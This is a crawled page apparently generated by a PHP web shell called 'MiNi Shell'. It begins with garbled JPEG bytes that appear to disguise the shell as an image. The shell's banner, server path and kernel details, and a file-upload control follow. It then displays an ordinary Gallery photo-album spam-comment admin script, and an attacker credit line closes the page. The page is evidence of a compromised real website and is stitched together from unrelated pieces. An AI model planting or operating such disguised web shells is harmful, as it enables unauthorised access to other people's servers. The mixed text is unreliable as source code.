JFIF ( %!1!%)+...383-7(-.+  -% &5/------------------------------------------------";!1AQ"aq2#3BRrb*!1"AQa2q#B ?yRd&vGlJwZvK)YrxB#j]ZAT^dpt{[wkWSԋ*QayBbm*&0<|0pfŷM`̬ ^.qR𽬷^EYTFíw<-.j)M-/s yqT'&FKz-([lև<G$wm2*e Z(Y-FVen櫧lҠDwүH4FX1 VsIOqSBۡNzJKzJξcX%vZcFSuMٖ%B ִ##\[%yYꉅ !VĂ1َRI-NsZJLTAPמQ:y״g_g= m֯Ye+Hyje!EcݸࢮSo{׬*h g<@KI$W+W'_> lUs1,o*ʺE.U"N&CTu7_0VyH,q ,)H㲣5<t ;rhnz%ݓz+4 i۸)P6+F>0Tв`&i}Shn?ik܀՟ȧ@mUSLFηh_er i_qt]MYhq 9LaJpPןߘvꀡ\"z[VƬ¤*aZMo=WkpSp \QhMb˒YH=ܒ m`CJt 8oFp]>pP1F>n8(*aڈ.Y݉[iTع JM!x]ԶaJSWҼܩ`yQ`*kE#nNkZKwA_7~ ΁JЍ;-2qRxYk=Uր>Z qThv@.w c{#&@#l;D$kGGvz/7[P+i3nIl`nrbmQi%}rAVPT*SF`{'6RX46PԮp(3W҅U\a*77lq^rT$vs2MU %*ŧ+\uQXVH !4t*Hg"Z챮 JX+RVU+ތ]PiJT XI= iPO=Ia3[ uؙ&2Z@.*SZ (")s8Y/-Fh Oc=@HRlPYp!wr?-dugNLpB1yWHyoP\ѕрiHִ,ِ0aUL.Yy`LSۜ,HZz!JQiVMb{( tژ <)^Qi_`: }8ٱ9_.)a[kSr> ;wWU#M^#ivT܎liH1Qm`cU+!2ɒIX%ֳNړ;ZI$?b$(9f2ZKe㼭qU8I[ U)9!mh1^N0 f_;׆2HFF'4b! yBGH_jтp'?uibQ T#ѬSX5gޒSF64ScjwU`xI]sAM( 5ATH_+s 0^IB++h@_Yjsp0{U@G -:*} TނMH*֔2Q:o@ w5(߰ua+a ~w[3W(дPYrF1E)3XTmIFqT~z*Is*清Wɴa0Qj%{T.ޅ״cz6u6݁h;֦ 8d97ݴ+ޕxзsȁ&LIJT)R0}f }PJdp`_p)əg(ŕtZ 'ϸqU74iZ{=Mhd$L|*UUn &ͶpHYJۋj /@9X?NlܾHYxnuXږAƞ8j ໲݀pQ4;*3iMlZ6w ȵP Shr!ݔDT7/ҡϲigD>jKAX3jv+ ߧز #_=zTm¦>}Tց<|ag{E*ֳ%5zW.Hh~a%j"e4i=vױi8RzM75i֟fEu64\էeo00d H韧rȪz2eulH$tQ>eO$@B /?=#٤ǕPS/·.iP28s4vOuz3zT& >Z2[0+[#Fޑ]!((!>s`rje('|,),y@\pЖE??u˹yWV%8mJ iw:u=-2dTSuGL+m<*צ1as&5su\phƃ qYLֳ>Y(PKi;Uڕp ..!i,54$IUEGLXrUE6m UJC?%4AT]I]F>׹P9+ee"Aid!Wk|tDv/ODc/,o]i"HIHQ_n spv"b}}&I:pȟU-_)Ux$l:fژɕ(I,oxin8*G>ÌKG}Rڀ8Frajٷh !*za]lx%EVRGYZoWѮ昀BXr{[d,t Eq ]lj+ N})0B,e iqT{z+O B2eB89Cڃ9YkZySi@/(W)d^Ufji0cH!hm-wB7C۔֛X$Zo)EF3VZqm)!wUxM49< 3Y .qDfzm |&T"} {*ih&266U9* <_# 7Meiu^h--ZtLSb)DVZH*#5UiVP+aSRIª!p挤c5g#zt@ypH={ {#0d N)qWT kA<Ÿ)/RT8D14y b2^OW,&Bcc[iViVdִCJ'hRh( 1K4#V`pِTw<1{)XPr9Rc 4)Srgto\Yτ~ xd"jO:A!7􋈒+E0%{M'T^`r=E*L7Q]A{]A<5ˋ.}<9_K (QL9FЍsĮC9!rpi T0q!H \@ܩB>F6 4ۺ6΋04ϲ^#>/@tyB]*ĸp6&<џDP9ᗟatM'> b쪗wI!܁V^tN!6=FD܆9*? q6h8  {%WoHoN.l^}"1+uJ ;r& / IɓKH*ǹP-J3+9 25w5IdcWg0n}U@2 #0iv腳z/^ƃOR}IvV2j(tB1){S"B\ ih.IXbƶ:GnI F.^a?>~!k''T[ע93fHlNDH;;sg-@, JOs~Ss^H '"#t=^@'W~Ap'oTڭ{Fن̴1#'c>꜡?F颅B L,2~ת-s2`aHQm:F^j&~*Nūv+{sk$F~ؒ'#kNsٗ D9PqhhkctԷFIo4M=SgIu`F=#}Zi'cu!}+CZI7NuŤIe1XT xC۷hcc7 l?ziY䠩7:E>k0Vxypm?kKNGCΒœap{=i1<6=IOV#WY=SXCޢfxl4[Qe1 hX+^I< tzǟ;jA%n=q@j'JT|na$~BU9؂dzu)m%glwnXL`޹W`AH̸뢙gEu[,'%1pf?tJ Ζmc[\ZyJvn$Hl'<+5[b]v efsЁ ^. &2 yO/8+$ x+zs˧Cޘ'^e fA+ڭsOnĜz,FU%HU&h fGRN擥{N$k}92k`Gn8<ʮsdH01>b{ {+ [k_F@KpkqV~sdy%ϦwK`D!N}N#)x9nw@7y4*\ Η$sR\xts30`O<0m~%U˓5_m ôªs::kB֫.tpv쌷\R)3Vq>ٝj'r-(du @9s5`;iaqoErY${i .Z(Џs^!yCϾ˓JoKbQU{௫e.-r|XWլYkZe0AGluIɦvd7 q -jEfۭt4q +]td_+%A"zM2xlqnVdfU^QaDI?+Vi\ϙLG9r>Y {eHUqp )=sYkt,s1!r,l鄛u#I$-֐2A=A\J]&gXƛ<ns_Q(8˗#)4qY~$'3"'UYcIv s.KO!{, ($LI rDuL_߰ Ci't{2L;\ߵ7@HK.Z)4
Devil Killer Is Here MiNi Shell

MiNi SheLL

Current Path : /proc/thread-self/root/hermes/sb_web/b2815/1000stickers.com/Gallery/tools/

Linux boscustweb5003.eigbox.net 5.4.91 #1 SMP Wed Jan 20 18:10:28 EST 2021 x86_64
Upload File :
Current File : //proc/thread-self/root/hermes/sb_web/b2815/1000stickers.com/Gallery/tools/despam-comments.php

<?php
/*
 * Gallery - a web based photo album viewer and editor
 * Copyright (C) 2000-2005 Bharat Mediratta
 * 
 * This program is free software; you can redistribute it and/or modify
 * it under the terms of the GNU General Public License as published by
 * the Free Software Foundation; either version 2 of the License, or (at
 * your option) any later version.
 * 
 * This program is distributed in the hope that it will be useful, but
 * WITHOUT ANY WARRANTY; without even the implied warranty of
 * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the GNU
 * General Public License for more details.
 * 
 * You should have received a copy of the GNU General Public License
 * along with this program; if not, write to the Free Software
 * Foundation, Inc., 59 Temple Place - Suite 330, Boston, MA  02111-1307, USA.
 *
 * $Id: despam-comments.php,v 1.13.2.2 2005/03/10 02:36:37 cryptographite Exp $
 *
 * The idea for this was blatantly lifted from Jay Allen's most excellent
 * MT-Blacklist, a plugin for MovableType that helps kill spam dead.  No code
 * was taken, though.
 */
?>
<?php

if (!isset($gallery->version)) {
        require_once(dirname(dirname(__FILE__)) . '/init.php');
}

// Security check
if (!$gallery->user->isAdmin()) {
	header("Location: " . makeAlbumHeaderUrl());
	exit;
}

doctype();
?>

<html>
<head>
<title><?php echo $gallery->app->galleryTitle ?></title>
<?php 
	common_header() ;
?>

</head>
<body dir="<?php echo $gallery->direction ?>">
<?php  
        includeHtmlWrap("gallery.header");

?>
<p align="center" class="popuphead"><?php echo _("Find and remove comment spam") ?></p>
<?php

$adminCommands = '[<a href="'. makeGalleryUrl("admin-page.php") .'">'. _("return to admin page") .'</a>] ';
$adminCommands = '[<a href="'. makeAlbumUrl() .'">'. _("return to gallery") .'</a>] ';

$adminbox["commands"] = $adminCommands;
$adminbox["bordercolor"] = $gallery->app->default["bordercolor"];
includeLayout('adminbox.inc');
includeLayout('ml_pulldown.inc');

?>
<table width="100%" class="albumdesc">
<tr>
<?php
echo '<td style="vertical-align:top; white-space:nowrap; width:280px;">';
offerOptions();
echo "</td>";

$g1_mode=getRequestVar('g1_mode');

echo "<td>";
switch($g1_mode) {
	case 'deleteComments':
		deleteComments();
	break;
    
	case 'findBlacklistedComments':
		findBlacklistedComments();
	break;
    
	case 'updateBlacklist':
		updateBlacklist();
	break;
    
	case 'viewBlacklist':
		viewBlacklist();
	break;
    
	case 'editBlacklist':
		editBlacklist();
	break;
    
	case 'addBlacklistEntries':
		showAddBox();
	break;
    
	default:
	break;
}
echo "</td>";
echo '<div style="clear:left">';
?>
</table>
<br>
<hr>
<?php includeHtmlWrap("gallery.footer"); ?>
</div> 
</body>
</html>
<?php

/* Everything below is a utility function */
function deleteComments() {
    printf("<h2>%s</h2>", _("Delete Comments"));
    if (!getRequestVar('delete')) {
	printf("<h3>%s</h3>", _("No action taken!"));
    } else {
	$removedTotal = 0;
	foreach (getRequestVar('delete') as $key) {
	    list ($albumName, $imageId, $key) = explode('|', $key);
	    $albumQueue[$albumName][$imageId][$key] = 1;
	}

	$albumDB = new AlbumDB();
	foreach ($albumQueue as $albumName => $imageQueue) {
	    $album = $albumDB->getAlbumByName($albumName);
	    $removedInAlbum = 0;
	    foreach ($imageQueue as $imageId => $keys) {
		$photoIndex = $album->getPhotoIndex($imageId);
		for ($j = $album->numComments($photoIndex); $j > 0; $j--) {
		    $comment = $album->getComment($photoIndex, $j);
		    $key = getCommentKey($comment);
		    if (isset($keys[$key])) {
			$removedInAlbum++;
			$removedTotal++;
			$album->deleteComment($photoIndex, $j);
		    }
		}
	    }
	    $album->save(array(_("Deleted %d spam comments"), $removedInAlbum));
	}

	printf("<h3> %s </h3>",
		pluralize_n2(ngettext("Deleted %d spam comment.", "Deleted %d spam comments.", $removedTotal), 
				$removedTotal, _("No comment deleted.")));
    }
}

function findBlacklistedComments() {
    global $gallery;
    $list = array();

    $start = explode(' ', microtime());

    $albumDB = new AlbumDB();
    $totals = array('albums' => 0,
		    'photos' => 0,
		    'comments' => 0);
    $totalComments = 0;

    foreach ($albumDB->albumList as $album) {
	set_time_limit(30);
	$totals['albums']++;
	$numPhotos = $album->numPhotos(1);
	for ($i = 1; $i <= $numPhotos; $i++) {
	    set_time_limit(30);
	    $photo = $album->getPhoto($i);
	    $numComments = $album->numComments($i);
	    if ($numComments > 0) {
		for ($j = 1; $j <= $numComments; $j++) {
		    set_time_limit(30);
		    $comment = $album->getComment($i, $j);
		    $totalComments++;
		    if (isBlacklistedComment($comment)) {
			$list[] = array('albumName' => $album->fields['name'],
					'imageId' => $photo->image->getId(),
					'comment' => $comment,
					'key' => getCommentKey($comment));
		    }
		}
		$totals['comments'] += $numComments;
	    }
	}
	$totals['photos'] += $numPhotos;
    }

    $stop = explode(' ', microtime());
    $elapsed = ($stop[0] - $start[0]) + ($stop[1] - $start[1]);

    printf("<h3> %s </h3>",
	   sprintf(_("Scanned %d albums, %d photos, %d comments in %2.2f seconds"),
		   $totals['albums'],
		   $totals['photos'],
		   $totals['comments'],
		   $elapsed));
    if (empty($list)) {
	printf("<h3>%s</h3>", _("No spam comments."));
    } else {
	print makeFormIntro("tools/despam-comments.php", array("method" => "POST"));
	print "\n<table>";
	printf("\n\t<tr> <th> %s </th> <th>%s</th> </tr>",
	       _("Entry"), _("Delete"));
	foreach ($list as $entry) {
	    print "\n\t<tr>";
	    print "<td>";
	    printf("%s: <a href=\"%s\">%s/%s</a> <br/>\n", _("Location"),
		   makeAlbumUrl($entry['albumName'], $entry['imageId']),
		   $entry['albumName'],
		   $entry['imageId']);
	    printf("%s: %s (on %s from %s) <br/>\n", _("Commenter"),
		   $entry['comment']->getName(),
		   $entry['comment']->getDatePosted(),
		   $entry['comment']->getIPNumber());
	    printf("%s: %s <br/>\n", _("Comment"), $entry['comment']->getCommentText());
	    print "</td>";
	    print "<td>";
	    printf("<input type=\"checkbox\" name=\"delete[]\" value=\"%s\" checked=\"checked\"/>",
		   sprintf("%s|%s|%s",
			   $entry['albumName'],
			   $entry['imageId'],
			   $entry['key']));
	    print "</td>";
	    print "\n\t</tr>";
	    print "\n\t" . '<tr><td colspan="2"><hr></td></tr>';
	}
	print("<input type=\"hidden\" name=\"g1_mode\" value=\"deleteComments\"/>");
	print "</table>";
	printf("<input type=\"submit\" value=\"%s\"/>", _("Delete Checked Comments"));
	print "</form>";
    }
}

function getCommentKey(&$comment) {
    return md5($comment->getCommentText() .
	       $comment->getDatePosted() .
	       $comment->getIPNumber() .
	       $comment->getName() .
	       $comment->getUID());
}

function editBlacklist() {
    $blacklist = loadBlacklist();
    printf("<h2>%s</h2>", _("Delete from blacklist"));
    if (!getRequestVar('delete')) {
	printf("<h3>%s</h3>", _("No action taken!"));
    } else {
	$removed = array();
	foreach (getRequestVar('delete') as $key) {
	    if (isset($blacklist['entries'][$key])) {
		$removed[$blacklist['entries'][$key]] = 1;
		unset($blacklist['entries'][$key]);
	    }
	}

	if (empty($removed)) {
	    printf("<h3>%s</h3>", _("No action taken!"));
	} else {
	    $success = saveBlacklist($blacklist);
	    if (!$success) {
		printf("<h3>%s</h3>", _("Error saving blacklist!"));
	    } else {
		printf("<h3>%s</h3>",
			pluralize_n2(ngettext("Deleted %d entry from blacklist.", "Deleted %d entries from blacklist", sizeof($removed)), 
				 sizeof($removed)));
		print "<ul>";
		foreach (array_keys($removed) as $entry) {
		    printf("<li> %s </li>", $entry);
		}
		print "</ul>";
	    }
	}
    }
}

function saveBlacklist($blacklist) {
    return safe_serialize($blacklist, getBlacklistFilename());
}

function updateBlacklist() {
    $blacklist = loadBlacklist();
    $dupes = array();
    $added = array();
    $newlines = split("[\n\r]+", getRequestVar('newBlacklistEntries'));
    foreach ($newlines as $line) {
	$line = ereg_replace("#.*", "", $line);
	$line = trim($line);
	if (empty($line)) {
	    continue;
	}
	
	// Check for duplicates
	$key = md5($line);
	if (isset($blacklist['entries'][$key])) {
	    $dupes[$line] = 1;
	} else {
	    $blacklist['entries'][$key] = $line;
	    $added[$line] = 1;
	}
    }
    
    $success = saveBlacklist($blacklist);

    if (!$success) {
	printf("<h3>%s</h3>", _("Error saving blacklist!"));
    } else {
	if (!empty($added)) {
	    printf("<h3>%s</h3>", _("Added to blacklist:"));
	    print "<ul>";
	    foreach (array_keys($added) as $entry) {
		printf("<li> %s </li>", $entry);
	    }
	    print "</ul>";
	}
	
	if (!empty($dupes)) {
	    printf("<h3>%s</h3>", _("Following duplicates were not added:"));
	    print "<ul>";
	    foreach (array_keys($dupes) as $entry) {
		printf("<li> %s </li>", $entry);
	    }
	    print "</ul>";
	}
	
	if (empty($added) && empty($dupes) && empty($removed)) {
	    printf("<h3>%s</h3>", _("No action taken!"));
	}
    }
}

function viewBlacklist() {
	$blacklist = loadBlacklist();
	printf("<h3>%s (%d) </h3>", _("Current blacklist"), sizeof($blacklist['entries']));
	if (empty($blacklist['entries'])) {
		print _("Your blacklist is empty.  You must add new entries to your blacklist for it to be useful.");
	} else {
		print makeFormIntro("tools/despam-comments.php", array("method" => "POST"));
		print "\n<table align=\"center\" width=\"60%\">";
		printf("\n\t<tr><th>%s</th><th>%s</th></tr>", ("Entry"), _("Delete"));
		$i = 0;
		foreach ($blacklist['entries'] as $key => $regex) {
			$i++;
			print "\n\t<tr>";
			printf("<td>%s</td>", wordwrap($regex, 80, "<br>", true));
			printf("<td align=\"center\"><input type=\"checkbox\" name=\"delete[]\" value=\"%s\"></td>", $key);
			print "</tr>";
		}
		print "\n</table><br>";
		print "\n<input type=\"hidden\" name=\"g1_mode\" value=\"editBlacklist\">";
		printf("\n<input type=\"submit\" value=\"%s\">", _("Update Blacklist"));
		print "\n</form>";
    }
}

function showAddBox() {
    print makeFormIntro("tools/despam-comments.php", array("method" => "POST"));
    printf("<h2>%s</h2>", _("Enter new blacklist entries"));
    print _("Useful blacklists: "). "<ul>";
    foreach (array("http://www.jayallen.org/comment_spam/blacklist.txt") as $url) {
	printf("<li> <a href=\"%s\">%s</a> ", $url, $url);
    }
    print "</ul>";
    print _("You can just cut and paste these blacklists into the text box, or add new entries of your own.");
    print "<br><textarea rows=\"10\" cols=\"80\" name=\"newBlacklistEntries\"></textarea>";
    print "<br>";
    print "<input type=\"hidden\" name=\"g1_mode\" value=\"updateBlacklist\">";
    printf("<input type=\"submit\" value=\"%s\"/>", _("Update Blacklist"));
    print "</form>";
}

function offerOptions() {
	$options = array(
                "findBlacklistedComments" => _("Find blacklisted comments"),
                "viewBlacklist" => _("View/Edit blacklist"),
                "addBlacklistEntries" => _("Add blacklist entries")
	);

	printf("\n<div style=\"padding-right:5px; border-right: 1px solid #000000;\">%s", _("Options"));
	print "\n<ol>";
	foreach ($options as $key => $text) {
		printf("\n\t<li><a href=\"%s\">%s</a></li>",
			makeGalleryUrl('tools/despam-comments.php', array('g1_mode' => $key)),
			$text);
	}
	print "\n</ol>";
	print "\n</div>";
}
?>

Creat By MiNi SheLL
Email: devilkiller@gmail.com